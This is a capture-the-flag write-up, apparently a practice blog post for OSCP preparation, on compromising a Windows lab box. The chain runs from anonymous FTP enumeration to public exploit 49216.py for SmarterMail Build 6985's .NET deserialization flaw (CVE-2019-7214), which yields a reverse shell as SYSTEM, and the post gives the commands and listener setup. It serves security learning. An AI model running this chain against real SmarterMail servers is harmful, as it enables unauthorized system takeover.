PG Algernon Writeup — SmarterMail Deserialization RCE (2026)

Box Info

Attack Path Summary

Anonymous FTP → SmarterMail logs confirmed admin user exists → port 80 was a default IIS page, dead end → port 9998 had SmarterMail Build 6985 → public .NET deserialization RCE → landed straight as nt authority\system. No privesc needed.

Enumeration

sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip
sudo nmap -Pn -sC -sV -p 21,80,135,139,445,5040,9998,17001 -oA targeted $ip

Right away two things caught my attention — anonymous FTP and that weird port 9998 running HTTP. Port 80 is just default IIS so I’m not expecting much there, but I’ll check it anyway.

Going Down the Wrong Path First

I started with FTP because anonymous access is always worth checking.

ftp $ip
# Login: anonymous / anonymous
# Found directories: ImapRetrieval, Logs, PopRetrieval, Spool

Inside Logs/ I found 2020.05.12-administrative.log — this confirmed a user admin exists in whatever mail application is running on this box. Good to know, but I couldn’t do much with just a username and no password.

Then I wasted time on port 80.

gobuster dir -u http://$ip -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50
# Only found: aspnet_client (301)

Default IIS page. Nothing. I should have moved on immediately — when you see that default IIS landing page with nothing behind it, is almost always a dead end. But I kept poking at it for a bit before accepting the obvious.

The Real Foothold — Port 9998

After wasting time on 80, I finally went to the weird port.

curl -L http://$ip:9998
# SmarterMail application — Angular frontend

SmarterMail. Now the FTP logs make sense — this is a mail server. And that admin user from the logs is probably the SmarterMail admin account.

First instinct — check for public exploits.

searchsploit smartermail
# SmarterMail Build 6985 - Remote Code Execution | windows/remote/49216.py

Build 6985 matches exactly what nmap identified. Public RCE via .NET deserialization. CVE-2019-7214.

The vulnerability is in how SmarterMail handles serialized .NET objects. Is a classic deserialization bug — the application trusts user-controlled serialized data without validation, so you can craft a malicious object that executes arbitrary code when the server deserializes it. The exploit does all the heavy lifting, you just need to set your IP and port.

Exploitation

# Grab the exploit
searchsploit -m windows/remote/49216.py

# Edit — set LHOST and LPORT to your Kali IP and listener port
code 49216.py

# Start listener
penelope -p 4444

# Fire
python3 49216.py

And that’s it. Shell comes back instantly.

whoami: nt authority\system
hostname: algernon

Landed as SYSTEM. The SmarterMail service was running as nt authority\system, so when the deserialization exploit triggers code execution, it runs at whatever privilege level the service has. In this case — the highest. No privesc phase needed.

This is actually a great example of why running services as SYSTEM is dangerous. One vulnerability in the application and the attacker owns the entire box. If SmarterMail was running as a low-privilege service account, I would have needed a separate privesc chain.

Proof

PS C:\Windows\system32> whoami; hostname; ipconfig; type C:\Users\Administrator\Desktop\proof.txt
nt authority\system
algernon
IPv4 Address: 192.168.231.65
2230b438d0f20f022f7fa23909c0e03b

What I Learned

My enumeration instinct is getting better. I found the anonymous FTP fast, grabbed the logs, identified the admin user. And when I saw SmarterMail on 9998 my first move was searchsploit. That reflex needs to be automatic for the OSCP exam.

But I still waste time on dead ends. Port 80 was obviously a default IIS page and I kept running gobuster on it. Lesson learned — when you see that default page with nothing behind it, move on to the unusual ports immediately. The weird ports are almost always where the real foothold is.

zsh will bite you if you don’t quote globs. Commands like grep ^[0-9] and nmap --script ftp-* break in zsh because it tries to expand the glob patterns. Always use quotes: grep '^[0-9]', --script 'ftp-*'. Small thing but I wasted time debugging this when the real issue was my shell, not the commands.

Pattern: “Unusual high port running HTTP? curl -L it, identify the application, then searchsploit immediately. Port 80 being a dead end is the hint that the real target is somewhere else.”